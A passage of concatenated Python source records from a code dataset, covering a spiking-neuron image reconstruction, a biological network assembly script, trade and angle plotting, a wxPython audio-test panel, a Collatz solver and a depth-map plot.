segundo campo receptivo\r\n for j in range (0,size2):\r\n don2[j,i] = Don(-np.floor(size2/2) + j,-np.floor(size2/2) + i, vc2, vs2)\r\ndoff2 = -don2\r\nI_1 = signal.convolve2d(image, don1, mode='same',boundary = 'symm') #Corriente campo receptivo on-off 1\r\nI_2 = signal.convolve2d(image, don2, mode='same', boundary = 'symm')\t#Corriente campo receptivo on-off 2\r\n\r\n###########################\r\n##Def. Grupos de neuronas##\r\n###########################\r\ntau = 1*second\r\neqs = '''\r\ndv/dt = (I - v)/tau : 1 \r\nI : 1\r\nx : 1\r\ny : 1\r\ng : 1\r\n'''\r\nG = NeuronGroup(6144,eqs,threshold='v > 5', reset='v= 0',refractory = 5*ms,\r\n method ='exact' ,dt = 10**-5*second)\r\n##Grupos de neuronas para campos receptivos On-off ##\r\nG1on = G[0:2048]#NeuronGroup(4096, eqs, threshold='v > 20',\r\n # reset='v = 0',refractory = 5*ms, method = 'exact',dt = 10**-6*second)\r\nG2on = G[2048:3072]#NeuronGroup(2048, eqs, threshold='v > 20',\r\n # reset='v = 0',refractory = 5*ms,method = 'exact', dt = 10**-6*second)\r\n##Grupos de neuronas para campos receptivos Off-on\r\nG1off = G[3072:5120]#NeuronGroup(4096, eqs, threshold='v > 20',\r\n # reset='v = 0',refractory = 5*ms, method = 'exact',dt = 10**-6*second)\r\nG2off = G[5120:6144]#NeuronGroup(2048, eqs, threshold='v > 20',\r\n # reset='v = 0',refractory = 5*ms,method = 'exact', dt = 10**-6*second)\r\nG.v = numpy.zeros((1,6144))\r\n\r\n############################\r\n##Asig. Parametros Neur.####\r\n############################\r\n#np.random.seed(1)\r\n\r\nfor i in range(0,2048):\r\n x = int(np.random.uniform(0,199))\r\n y = int(np.random.uniform(0,199))\r\n G1on.I[i] = I_1[y][x]\r\n G1on.x[i] = x\r\n G1on.y[i] = y\r\n G1on.g[i] = 1\r\nfor i in range(0,2048):\r\n x = int(np.random.uniform(0,199))\r\n y = int(np.random.uniform(0,199))\r\n G1off.I[i] = I_1[y][x]\r\n G1off.x[i] = x\r\n G1off.y[i] = y\r\n G1off.g[i] = 3\r\n#spk_trace_G1on = SpikeMonitor(G1on)\r\n#G1off.v = numpy.zeros((1,4096))\r\n#spk_trace_G1off = SpikeMonitor(G1off)\r\nfor i in range(0,1024):\r\n x = int(np.random.uniform(0,199))\r\n y = int(np.random.uniform(0,199))\r\n G2on.I[i] = I_2[y][x]\r\n G2on.x[i] = x\r\n G2on.y[i] = y\r\n G2on.g[i] = 2\r\nfor i in range(0,1024):\r\n x = int(np.random.uniform(0,199))\r\n y = int(np.random.uniform(0,199))\r\n G2off.I[i] = I_2[y][x]\r\n G2off.x[i] = x\r\n G2off.y[i] = y\r\n G2off.g[i] = 4\r\nspk_trace = SpikeMonitor(G)\r\n\r\nrun(2000*ms)#Se usa este tiempo para asegurar que disparen las 600 neuronas requeridas\r\ng_spikes = spk_trace.all_values()\r\norder_spikes = llaves_ordenadas(g_spikes)\r\n\r\n#####################\r\n###Armado de tabla###\r\n#####################\r\n\r\nLUT = np.empty(len(order_spikes)) \r\nN_s = len(order_spikes)\r\nfor i in range(0,len(order_spikes)):\r\n LUT[i] = (N_s - i)*255\r\n\r\nim_aux = np.ones([200,200])*128\r\naux = np.zeros([200,200])\r\nr = 600#len(order_spikes)\r\nim_pos = 1\r\nfig = plt.figure(figsize=(8,8))\r\nfor i in range(0,r):\r\n n = order_spikes[i]\r\n m = G.g[n]\r\n x = int(G.x[n])\r\n y = int(G.y[n]) \r\n aux[y][x] = 1\r\n if m == 1.0: #neuron on-off tamaño 1\r\n im_aux = im_aux + filtro(don1,aux,x,y)*LUT[i]#signal.convolve2d(aux, don1, mode='same')*LTU[i]\r\n elif m == 2.0: #neurona on-off tamaño2\r\n im_aux = im_aux + filtro(don2,aux,x,y)*LUT[i]#signal.convolve2d(aux, don2, mode='same')*LTU[i]\r\n elif m == 3.0: # neurona off-on tamaño1\r\n im_aux = im_aux - filtro(doff1,aux,x,y)*LUT[i]#signal.convolve2d(aux, don1, mode='same')*LTU[i]\r\n elif m == 4.0:\r\n im_aux = im_aux - filtro(doff2,aux,x,y)*LUT[i]#signal.convolve2d(aux, don2, mode='same')*LTU[i]\r\n j = i + 1\r\n if j == 5 or j == 10 or j == 100 or j == 300 or j == 600: \r\n plt.subplot(1,6,im_pos)\r\n plt.yticks([])\r\n plt.xticks([])\r\n xlabel(\"N =\" + str(j))\r\n imshow(im_aux,cmap = 'gray')\r\n im_pos +=1\r\n aux = aux*0\r\nplt.subplot(1,6,6)\r\nplt.yticks([])\r\nplt.xticks([])\r\nxlabel(\"Imagen original\")\r\nimshow(image, cmap = 'gray')\r\nplt.savefig(\"c_a_\" + name ) \r\n\r\n##Orden Random \r\nim_aux = np.ones([200,200])*128\r\naux = np.zeros([200,200])\r\nr = 600#len(order_spikes)\r\nim_pos = 1\r\nfig = plt.figure(figsize=(8,8))\r\nfor i in range(0,r):\r\n n = int(np.random.uniform(0,len(order_spikes)))#desde 0 hasta la cant. max que disparan.\r\n m = G.g[n]\r\n x = int(G.x[n])\r\n y = int(G.y[n]) \r\n aux[y][x] = 1\r\n if m == 1.0: #neuron on-off tamaño 1\r\n im_aux = im_aux + filtro(don1,aux,x,y)*LUT[i]#signal.convolve2d(aux, don1, mode='same')*LTU[i]\r\n elif m == 2.0: #neurona on-off tamaño2\r\n im_aux = im_aux + filtro(don2,aux,x,y)*LUT[i]#signal.convolve2d(aux, don2, mode='same')*LTU[i]\r\n elif m == 3.0: # neurona off-on tamaño1\r\n im_aux = im_aux - filtro(doff1,aux,x,y)*LUT[i]#signal.convolve2d(aux, don1, mode='same')*LTU[i]\r\n elif m == 4.0:\r\n im_aux = im_aux - filtro(doff2,aux,x,y)*LUT[i]#signal.convolve2d(aux, don2, mode='same')*LTU[i]\r\n j = i + 1\r\n if j == 5 or j == 10 or j == 100 or j == 300 or j == 600: \r\n plt.subplot(1,6,im_pos)\r\n plt.yticks([])\r\n plt.xticks([])\r\n xlabel(\"N =\" + str(j))\r\n imshow(im_aux,cmap = 'gray')\r\n im_pos +=1\r\n aux = aux*0\r\nplt.subplot(1,6,6)\r\nplt.yticks([])\r\nplt.xticks([])\r\nxlabel(\"Imagen original\")\r\nimshow(image, cmap = 'gray') \r\nplt.savefig(\"c_b_\" + name ) \r\n","sub_path":"Preg2/preg2_c.py","file_name":"preg2_c.py","file_ext":"py","file_size_in_byte":6937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"204010596","text":"from __future__ import absolute_import, print_function, unicode_literals\nfrom builtins import dict, str\nimport sys\nfrom os.path import join as pjoin\nimport pandas as pd\nfrom indra.tools import assemble_corpus as ac\nfrom process_abs import get_valid_genes\nfrom indra.tools.gene_network import GeneNetwork\nfrom indra import biopax\nfrom assemble_cx import assemble_cx\nfrom assemble_sif import assemble_sif\n\ndef read_phosphosite_owl(fname):\n bp = biopax.process_owl(fname)\n for stmt in bp.statements:\n for ev in stmt.evidence:\n ev.source_api = 'phosphosite'\n ev.epistemics = {'direct': True}\n return bp.statements\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) < 2:\n assemble_models = ['pysb', 'sif', 'cx']\n else:\n model_types = sys.argv[1:]\n if 'all' in model_types:\n assemble_models = ['pysb', 'sif', 'cx']\n else:\n assemble_models = sys.argv[1:]\n\n print('Assembling the following model types: %s' % \\\n ', '.join(assemble_models))\n print('##############')\n\n outf = 'output/'\n reassemble = False\n\n def build_prior(genes, out_file):\n gn = GeneNetwork(genes, basename=pjoin(outf, 'pertbio'))\n stmts = gn.get_statements(filter=False)\n ac.dump_statements(stmts, out_file)\n return stmts\n\n if not reassemble:\n stmts = ac.load_statements(pjoin(outf, 'preassembled.pkl'))\n else:\n data_genes = get_valid_genes()\n prior_stmts = build_prior(data_genes, pjoin(outf, 'prior.pkl'))\n prior_stmts = ac.map_grounding(prior_stmts,\n save=pjoin(outf, 'gmapped_prior.pkl'))\n #prior_stmts = ac.load_statements(pjoin(outf, 'prior.pkl'))\n reach_stmts = ac.load_statements(pjoin(outf, 'pertbio_stmts.pkl'))\n reach_stmts = ac.filter_no_hypothesis(reach_stmts)\n phosphosite_stmts = read_phosphosite_owl(\n '../indra/models/phase3_eval/sources/Kinase_substrates.owl')\n reading_stmts = reach_stmts + phosphosite_stmts\n reading_stmts = ac.map_grounding(reading_stmts,\n save=pjoin(outf, 'gmapped_reading.pkl'))\n stmts = prior_stmts + reading_stmts\n\n stmts = ac.filter_grounded_only(stmts)\n stmts = ac.filter_genes_only(stmts, specific_only=False)\n stmts = ac.filter_human_only(stmts)\n stmts = ac.expand_families(stmts)\n #stmts = ac.filter_gene_list(stmts, data_genes, 'one')\n stmts = ac.map_sequence(stmts, save=pjoin(outf, 'smapped.pkl'))\n #stmts = ac.load_statements(pjoin(outf, 'smapped.pkl'))\n stmts = ac.run_preassembly(stmts, return_toplevel=False,\n save=pjoin(outf, 'preassembled.pkl'),\n poolsize=16)\n\n ### PySB assembly\n if 'pysb' in assemble_models:\n pysb_model = assemble_pysb(stmts, data_genes,\n pjoin(outf, 'pertbio_model_pysb.py'))\n ### SIF assembly\n if 'sif' in assemble_models:\n sif_str = assemble_sif(stmts, pjoin(outf,\n 'pertbio_high_belief_direct.sif'))\n ### CX assembly\n if 'cx' in assemble_models:\n cxa = assemble_cx(stmts, pjoin(outf, 'pertbio_full_high_belief.cx'),\n 'direct')\n\n","sub_path":"build_network.py","file_name":"build_network.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"11519562","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 2 19:45:41 2019\r\n\r\n@author: alforlon\r\n\"\"\"\r\n\r\nfrom __future__ import division\r\n\r\n\r\nfrom matplotlib.animation import FuncAnimation\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom mpl_tweak_module import set_params\r\n\r\nfrom trade_master_deribit import TradeManager\r\nfrom threading import Thread\r\nimport time\r\n\r\nset_params()\r\n\r\nMAXSIZE = 1000\r\n\r\n\r\ntm = TradeManager(20, window = 1000)\r\ndata_thread = Thread(target=tm.work)\r\ndata_thread.start()\r\n\r\ncolor_dict = {'buy':'green', 'sell':'red'}\r\n\r\n#%%\r\n\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(211)\r\nax2 = fig.add_subplot(212)\r\n\r\ndef normalize_sizes(v):\r\n \r\n vect = np.array(v)\r\n vect_range = np.max(vect)-np.min(vect)\r\n return MAXSIZE*(vect - np.min(vect))/vect_range + 2\r\n\r\n\r\ndef update_figure():\r\n \r\n ax1.cla()\r\n \r\n prices, qtys, sides, times = tm.get_trades() \r\n c = map(color_dict.get, sides)\r\n ax1.scatter(times, prices, color=c, marker='s', s=normalize_sizes(qtys))\r\n ax1.grid(True)\r\n \r\n ax2.cla()\r\n \r\n ax2.plot(times, qtys, marker = 'o', markersize=2)\r\n \r\n plt.pause(0.2)\r\n plt.show()\r\n\r\n\r\nprices, qtys, sides, times = tm.get_trades() \r\nc = map(color_dict.get, sides)\r\nax1.scatter(times, prices, color=c, marker='s', s=normalize_sizes(qtys))\r\nax1.grid(True)\r\n\r\n# data is reversed\r\nax2.plot(times, qtys, marker = 'o', markersize=2)#, facecolor = c)\r\n\r\n \r\nplt.show()\r\n\r\n#ani = FuncAnimation(fig, update_figure, interval = 300, blit=True)\r\n\r\n\r\n#%%\r\n\r\n# aggiornamento brutale\r\nwhile True:\r\n \r\n try:\r\n update_figure()\r\n time.sleep(1)\r\n except(KeyboardInterrupt):\r\n break\r\n\r\n","sub_path":"Crypto_files/trade_chart_test_deribit.py","file_name":"trade_chart_test_deribit.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"256517512","text":"#!/usr/bin/python\n\n#reads in multiple .dat files for angles and just plots the average column from\n#the dataframe - Titles need to be manually changed for each angle type. This\n#could be changed to be more automated \n\nimport sys\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#plt.style.use('ggplot')\n\ndef parse_args():\n import argparse\n parser = argparse.ArgumentParser(description='Plots average angles from different systems')\n parser.add_argument(\"filename\", nargs=\"+\")\n return parser.parse_args()\n\n#plots a rolling mean to smooth lines - window can be changed to have more/less\ndef plot(fname,count):\n dframe = pd.read_table(fname, sep=' ', header=None, names=['Frame', 'AVG'], usecols=[0,1])\n x = dframe['Frame']\n #plt.scatter(0, dframe['AVG'][0],s=10,c=colors[count])\n plt.plot(x, pd.Series.rolling(dframe['AVG'],\n window=50,center=True).mean(), c=colors[count],linestyle=line[count], #marker=linemark[count],\n )\n\ncolors = ['black','black','tab:red','tab:red','tab:red','tab:blue','tab:blue','tab:purple','tab:purple']\nlabels = ['Wild Type', 'I233T', 'F238L','I233T/F238L', 'I233T/F238L']\nlinemark = ['None','o','None','o','^','None','o','None','o']\nline = ['-','--','-','--','-.','-','--','-','--']\ncount = 0\nargs = parse_args()\n\nfor f in args.filename:\n plot(f,count)\n #plot(f,labels[label])\n count += 1\n\nplt.ylim([9,17]) #lim for dtwist\n#plt.ylim([0,11]) #lim for htwist\n#plt.ylim([0,7]) #lim for htilt\n#plt.legend(loc=\"best\")\nplt.xlim([-10,1600])\nplt.xlabel('Time (ns)')\nplt.ylabel('Angle (degrees)')\nplt.title(\"Closed to Closed\")\nplt.savefig('../Figures/4panel_figs/dtwist_C-C.eps',format='eps',dpi=1200,)\n\n","sub_path":"plot_average.py","file_name":"plot_average.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640217422","text":"import random\nimport wx\nimport wx.media\nfrom wx.lib.intctrl import IntCtrl\nfrom wx.lib.agw.customtreectrl import CustomTreeCtrl, EVT_TREE_ITEM_CHECKED\n\nimport os\n\nfrom models.patient_testing_model import *\nfrom utils.utils import *\nfrom utils.constants import WITHOUT_NOISE_OPTION\nfrom utils.error_handling import *\n\ndirName = os.path.dirname(os.path.abspath(__file__))\nbitmapDir = os.path.join(dirName, 'bitmaps')\n\n\nclass AudioChoosingPanel(wx.Panel):\n\n ExpandableType = 0\n CheckableType = 1\n filesNumberLabel = \"Количество файлов: \"\n\n def __init__(self, parent, testing_model, test_setting, recognition_service_settings):\n wx.Panel.__init__(self, parent=parent)\n\n self.parent = parent\n\n self.testing_model = testing_model\n self.test_setting = test_setting\n self.recognition_service_settings = recognition_service_settings\n\n self.SetSize((700, 700))\n self.layoutControls()\n sp = wx.StandardPaths.Get()\n self.currentFolder = sp.GetDocumentsDir()\n\n def layoutControls(self):\n\n wx.InitAllImageHandlers()\n\n available_noises_wav = [WITHOUT_NOISE_OPTION]\n available_noises_wav.extend(return_file_names_with_extension(self.recognition_service_settings.noises_dir, extension=\".wav\"))\n\n # Title initialization\n self.title = wx.BoxSizer(wx.HORIZONTAL)\n self.panel_title = wx.StaticText(self, -1, \"Шаг 3. Выбор записей для тестирования\")\n self.title.Add(self.panel_title, 1, wx.EXPAND | wx.ALIGN_LEFT | wx.ALL, 5)\n\n # Voice choice initialization\n voiceChoiceLabel = wx.StaticText(self, -1, \"Голос озвучки\", size=(125, 25))\n voice = ['Мужчина', 'Женщина']\n self.voiceChoice = wx.Choice(self, choices=voice)\n self.voiceChoice.Bind(wx.EVT_CHOICE, self.setVoice)\n self.voiceChoice.SetSelection(0)\n\n # Play mode initialization\n self.playModeLabel = wx.StaticText(self, label=\"Режим воспроизведения:\")\n modes = ['Автоматический ', 'Поэтапный']\n self.playModeRadioBox = wx.RadioBox(self, choices=modes)\n self.playModeRadioBox.Bind(wx.EVT_RADIOBOX, self.setPlayMode)\n self.playModeRadioBox.SetSelection(0)\n\n self.delayLabel = wx.StaticText(self, label=\"Задержка (сек): \")\n self.delaySlider = wx.Slider(self, value=self.test_setting.delay, minValue=1, maxValue=10, size=(200, 30),\n style=wx.SL_HORIZONTAL | wx.SL_VALUE_LABEL | wx.SL_MIN_MAX_LABELS | wx.SL_AUTOTICKS)\n self.delaySlider.Bind(wx.EVT_SCROLL, self.setDelay)\n\n # Noise choice initialization\n self.noiseLabel = wx.StaticText(self, label=\"Шумы: \")\n\n self.noisesBox = wx.Choice(self, choices=available_noises_wav, size=(300, 50))\n self.noisesBox.SetSelection(0)\n self.noisesBox.Bind(wx.EVT_CHOICE, self.setNoise)\n\n # AudioTree and random record numbers initialization\n self.choosingAudioTree = CustomTreeCtrl(self, style=wx.SL_INVERSE, size=(300, 500))\n self.constructAudioTree()\n extendables = self.returnAllNonEmptyExtendableItems()\n self.fields_to_item = {}\n self.vRandomMenu = wx.BoxSizer(wx.VERTICAL)\n print(extendables)\n for extendable in extendables:\n label = wx.StaticText(self, label=\"{}\".format(extendable.GetText()))\n randomCnt = wx.lib.intctrl.IntCtrl(self, size=(150, 25), min=0, max=self.getCheckableNumber(extendable),\n value=self.getCheckableNumber(extendable) // 2, limited=True)\n self.vRandomMenu.Add(label)\n self.vRandomMenu.Add(randomCnt)\n self.fields_to_item[randomCnt] = extendable\n \n self.randomByPartBtn = wx.Button(self, style=wx.SL_INVERSE, label=\"Выбрать случайно для\\n каждой категории\", size=(150, 50))\n self.randomByPartBtn.Bind(wx.EVT_BUTTON, self.randomByPart)\n self.vRandomMenu.Add(self.randomByPartBtn)\n\n self.choosingAudioTree.ExpandAll()\n self.choosingAudioTree.Bind(EVT_TREE_ITEM_CHECKED, self.addOrRemoveTestingItems)\n\n self.randomRecordLabel = wx.StaticText(self, label=\" Количество \\n случайных записей\")\n self.randomRecordCnt = wx.lib.intctrl.IntCtrl(self, size=(150, 25), min=0, max=len(self.check_box_items),\n value=len(self.check_box_items) // 2, limited=True)\n self.chooseRandomBtn = wx.Button(self, style=wx.SL_INVERSE,\n label=\"Выбрать случайно\\nбез учёта категории\", size=(150, 50))\n self.chooseRandomBtn.Bind(wx.EVT_BUTTON, self.chooseRandom)\n\n # Files number and next-button initialization\n self.filesNumber = wx.StaticText(self, label=\"{} {}\".format(self.filesNumberLabel,\n self.test_setting.audioFilesNumber))\n\n self.nextBtn = wx.Button(self, style=wx.SL_INVERSE, label=\"Начать воспроизведение\", size=(150, 30))\n self.nextBtn.Bind(wx.EVT_BUTTON, self.nextPanel)\n\n self.prevBtn = wx.Button(self, style=wx.SL_INVERSE, label=\"Назад\", size=(150, 30))\n self.prevBtn.Bind(wx.EVT_BUTTON, self.prevPanel)\n #TODO: когда несколько раз щелкаешь вперед-назад окно сворачивается\n\n # Sizers initialization\n self.mainSizer = wx.BoxSizer(wx.VERTICAL)\n self.hSizer = wx.BoxSizer(wx.HORIZONTAL)\n self.vRandomSizer = wx.BoxSizer(wx.VERTICAL)\n self.hDelaySizer = wx.BoxSizer(wx.HORIZONTAL)\n self.vSettingsSizer = wx.BoxSizer(wx.VERTICAL)\n self.hRandomSizer = wx.BoxSizer(wx.HORIZONTAL)\n self.prevNextSizer = wx.BoxSizer(wx.HORIZONTAL)\n self.voiceChoiceSizer = wx.BoxSizer(wx.HORIZONTAL)\n\n \n self.vRandomSizer.Add(self.randomRecordLabel)\n self.vRandomSizer.Add(self.randomRecordCnt)\n self.vRandomSizer.Add(self.chooseRandomBtn)\n\n\n self.hRandomSizer.Add(self.vRandomSizer)\n self.hRandomSizer.Add(self.vRandomMenu)\n\n self.hDelaySizer.Add(self.delayLabel)\n self.hDelaySizer.Add(self.delaySlider)\n\n self.vSettingsSizer.Add(self.playModeLabel)\n self.vSettingsSizer.Add(self.playModeRadioBox)\n self.vSettingsSizer.Add(self.hDelaySizer)\n self.vSettingsSizer.Add(self.hDelaySizer)\n self.vSettingsSizer.Add(self.noiseLabel)\n self.vSettingsSizer.Add(self.noisesBox)\n self.vSettingsSizer.Add(self.hRandomSizer)\n\n# self.hSizer.Add(self.filesBox)\n self.hSizer.Add(self.choosingAudioTree)\n self.hSizer.Add(self.vSettingsSizer)\n\n self.prevNextSizer.Add(self.prevBtn)\n self.prevNextSizer.Add(self.nextBtn)\n\n self.voiceChoiceSizer.Add(voiceChoiceLabel, 1, wx.EXPAND | wx.ALIGN_LEFT | wx.ALL, 5)\n self.voiceChoiceSizer.Add(self.voiceChoice)\n\n self.mainSizer.Add(self.title)\n self.mainSizer.Add(self.voiceChoiceSizer)\n self.mainSizer.Add(self.hSizer)\n self.mainSizer.Add(self.filesNumber)\n self.mainSizer.Add(self.prevNextSizer)\n\n self.SetSizer(self.mainSizer)\n self.Layout()\n\n def update(self):\n for item in self.check_box_items:\n item.Check(checked=False)\n \n self.playModeRadioBox.SetSelection(0)\n self.setPlayMode(None)\n\n self.prev_size = self.parent.GetSize()\n self.parent.SetSize(self.GetSize())\n self.Layout()\n self.choosingAudioTree.Refresh()\n\n def nextPanel(self, event):\n if len(self.testing_model.testingItems) == 0:\n dial = wx.MessageDialog(self.parent, message=\"Нужно выбрать хотя бы одну запись\", caption=\"Ошибка\",\n style=wx.OK|wx.CENTER, pos=wx.DefaultPosition)\n dial.ShowModal()\n return\n\n self.parent.SetSize(self.prev_size)\n self.Hide()\n if self.playModeRadioBox.GetSelection() == 0:\n next_panel = self.parent.patient_auto_testing\n else:\n next_panel = self.parent.patient_staged_testing\n next_panel.cleanCnt() \n\n next_panel.update()\n next_panel.Show()\n self.Layout()\n\n def prevPanel(self, event):\n self.parent.SetSize(self.prev_size)\n self.Hide()\n prev_panel = next(return_to_prev_page(self.parent.current_panel, self.parent.number_of_frames))\n prev_panel.update()\n prev_panel.Show()\n self.Layout()\n\n def returnAllNonEmptyExtendableItemsImpl(self, item):\n childrens = item.GetChildren()\n extendable = []\n for children in childrens:\n if children.GetType() == self.ExpandableType:\n extendable.extend(self.returnAllNonEmptyExtendableItemsImpl(children))\n \n if self.getCheckableNumber(item):\n extendable.append(item)\n \n return extendable\n \n def returnAllNonEmptyExtendableItems(self):\n root = self.choosingAudioTree.GetRootItem()\n return self.returnAllNonEmptyExtendableItemsImpl(root)\n\n def getCheckableNumber(self, item):\n return sum(1 for children in item.GetChildren() if children.GetType() == self.CheckableType)\n\n def getCheckable(self, item):\n return list(filter(lambda item: item.GetType() == self.CheckableType, item.GetChildren()))\n\n def constructAudioTree(self):\n if self.test_setting.voice == 0:\n self.recognition_service_settings.words_dir = '..\\\\data_set\\\\\\\\records\\\\man\\\\'\n if self.test_setting.voice == 1:\n self.recognition_service_settings.words_dir = '..\\\\data_set\\\\\\\\records\\\\woman\\\\'\n words_path = self.recognition_service_settings.words_dir\n self.generic_tree_items = {\n words_path : self.choosingAudioTree.AddRoot(\"words\")\n }\n self.check_box_items = []\n\n try:\n for root, dirs, files in os.walk(words_path):\n root_tree_item = self.generic_tree_items[root]\n for dir in dirs:\n self.generic_tree_items[root + dir] = self.choosingAudioTree.AppendItem(root_tree_item, dir)\n\n for file in files:\n check_box_item = self.choosingAudioTree.AppendItem(root_tree_item, file, ct_type=1)\n self.generic_tree_items[root + os.sep + file] = check_box_item\n self.check_box_items.append(check_box_item)\n except KeyError as error:\n exception_logger(error)\n error_message(self, error)\n\n def resetFilesBox(self):\n for check_box_item in self.check_box_items:\n check_box_item.Check(checked=False)\n\n def chooseRandom(self, event):\n self.resetFilesBox()\n choosen_items = random.sample(range(len(self.check_box_items)), self.randomRecordCnt.GetValue())\n for choosen_item_idx in choosen_items:\n self.check_box_items[choosen_item_idx].Check(checked=True)\n \n self.choosingAudioTree.Refresh()\n\n self.addOrRemoveTestingItems(None)\n\n def randomByPart(self, event):\n self.resetFilesBox()\n\n for field, extendable in self.fields_to_item.items():\n checkable = self.getCheckable(extendable)\n choosen_items = random.sample(range(len(checkable)), field.GetValue())\n\n for choosen_item_idx in choosen_items:\n checkable[choosen_item_idx].Check(checked=True)\n\n self.choosingAudioTree.Refresh()\n\n self.addOrRemoveTestingItems(None)\n\n def addOrRemoveTestingItems(self, event):\n self.testing_model.testingItems = []\n\n for path, tree_item in self.generic_tree_items.items():\n if not tree_item.IsChecked():\n continue\n\n test_item = TestingItem()\n test_item.initialAudioFilePath = path.replace(self.recognition_service_settings.words_dir, '')\n test_item.initialText = path.split(os.sep)[-1].split('.')[0].lower()\n self.testing_model.testingItems.append(test_item)\n\n self.test_setting.audioFilesNumber = len(self.testing_model.testingItems)\n self.filesNumber.SetLabel(\"{} {}\".format(self.filesNumberLabel, self.test_setting.audioFilesNumber))\n\n def setNoise(self, event):\n selected_item = self.noisesBox.GetString(self.noisesBox.GetSelection())\n if selected_item == WITHOUT_NOISE_OPTION:\n self.test_setting.noiseFile = ''\n else:\n self.test_setting.noiseFile = selected_item\n\n def setPlayMode(self, event):\n choise = self.playModeRadioBox.GetSelection()\n if choise == 1: # staged\n self.delayLabel.Hide()\n self.delaySlider.Hide()\n else: # auto\n self.delayLabel.Show()\n self.delaySlider.Show()\n\n def setDelay(self, event):\n self.test_setting.delay = self.delaySlider.GetValue()\n\n def setVoice(self, event):\n self.test_setting.voice = self.voiceChoice.GetSelection()\n self.choosingAudioTree.DeleteAllItems()\n self.constructAudioTree()\n self.choosingAudioTree.ExpandAll()","sub_path":"libs/scripts/src/main_panels/audio_choosing_panel.py","file_name":"audio_choosing_panel.py","file_ext":"py","file_size_in_byte":13521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572274986","text":"#!/usr/bin/env python3\n\n# ---------------------------\n# projects/collatz/Collatz.py\n# Copyright (C) 2014\n# Glenn P. Downing\n# ---------------------------\n\n# ------------\n# globals\n# ------------\n\ncache = {}\n\n# ------------\n# collatz_read\n# ------------\n\ndef collatz_read (r) :\n \"\"\"\n read two ints\n r is a reader\n return a list of the two ints, otherwise a list of zeros\n \"\"\"\n s = r.readline()\n if s == \"\" :\n return []\n a = s.split()\n return [int(v) for v in a]\n\n# ------------\n# collatz_eval\n# ------------\n\ndef collatz_eval (i, j) :\n \"\"\"\n i is the beginning of the range, inclusive\n j is the end of the range, inclusive\n if initially not, then changed so that i is\n at the beginning and j is at the end \n\n return the max cycle length in the range [i, j]\n \"\"\"\n # \n global cache\n\n assert i, j > 0\n\n if i > j:\n tmp = i\n i = j\n j = tmp\n\n assert i <= j\n\n m = j // 2\n max_cycle = 0\n\n\n # if i and j are the same, look up i in the cache.\n # if in the cache, set current cycle length to be that number\n # if not, compute cycle length and cache \n # update max cycle accordingly\n\n if i == j :\n curr_cycle = cache.get(i, -1)\n if curr_cycle == -1 :\n cache[i] = cycle_length(i)\n curr_cycle = cache[i]\n if curr_cycle > max_cycle :\n max_cycle = curr_cycle\n\n # optimization from class\n # if lower bound is less than half of the upper bound\n # only compute the higher half of the boundary\n # update cache\n # update max cycle accordingly \n\n if i < m :\n for l in range(m, j) :\n curr_cycle = cache.get(l, -1)\n if curr_cycle == -1 :\n cache[l] = cycle_length(l)\n curr_cycle = cache[l]\n if curr_cycle > max_cycle : \n max_cycle = curr_cycle\n\n # all other cases of input\n # update cache \n # update max cycle accordingly\n\n else : \n for k in range(i, j) :\n curr_cycle = cache.get(k, -1)\n if curr_cycle == -1 :\n cache[k] = cycle_length(k)\n curr_cycle = cache[k]\n if curr_cycle > max_cycle : \n max_cycle = curr_cycle\n\n assert max_cycle > 0\n return max_cycle\n\n# -------------\n# collatz_print\n# -------------\n\ndef collatz_print (w, i, j, v) :\n \"\"\"\n print three ints\n w is a writer\n i is the beginning of the range, inclusive\n j is the end of the range, inclusive\n v is the max cycle length\n \"\"\"\n w.write(str(i) + \" \" + str(j) + \" \" + str(v) + \"\\n\")\n\n# -------------\n# collatz_solve\n# -------------\n\ndef collatz_solve (r, w) :\n \"\"\"\n read, eval, print loop\n r is a reader\n w is a writer\n \"\"\"\n while True :\n a = collatz_read(r)\n if not a :\n return\n i, j = a\n v = collatz_eval(i, j)\n collatz_print(w, i, j, v)\n\n# -------------\n# cycle_length - copied from Downing \n# -------------\n\ndef cycle_length (n) :\n\n assert n > 0\n\n if n == 1 :\n return 1\n\n # check if the value after division for an even number has a cycle length in cache\n # keep on computing cycle length until we get one in the cache or n = 1 \n # add 1 to the cycle length and fill cache\n\n if (n % 2) == 0 :\n x = n // 2\n next_cycle = cache.get(x, -1)\n if next_cycle == -1 :\n return cycle_length(x) + 1\n else :\n cache[n] = next_cycle + 1\n return next_cycle + 1\n \n # check if the value after 3n+1/2 for an odd number has a cycle length in cache\n # keep on computing cycle length until we get one in the cache or n = 1 \n # add 2 to the cycle length and fill cache\n\n else :\n x = n + (n >> 1) + 1\n next_cycle = cache.get(x, -1)\n if next_cycle == -1 :\n return cycle_length(x) + 2\n else : \n cache[n] = next_cycle + 2\n return next_cycle + 2","sub_path":"Collatz.py","file_name":"Collatz.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"492025829","text":"import skimage.io\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n##put in files here\nd = skimage.io.imread('*png')\nimg = skimage.io.imread('*.tiff')\nfig, ax = plt.subplots(1,2, figsize=(20,10))\nax[0].text(50, 100, 'original image', fontsize=16, bbox={'facecolor': 'white', 'pad': 6})\nax[0].imshow(img)\n\nax[1].text(50, 100, 'depth map', fontsize=16, bbox={'facecolor': 'white', 'pad': 6})\nax[1].imshow(d)\nd = np.flipud(d)\nimg = np.flipud(img)\nfig = plt.figure(figsize=(15,10))\nax = plt.axes(projection='3d')\n\nSTEP = 5\nfor x in range(0, img.shape[0], STEP):\n for y in range(0, img.shape[1], STEP):\n ax.scatter(\n d[x,y], y, x,\n c=[tuple(img[x, y, 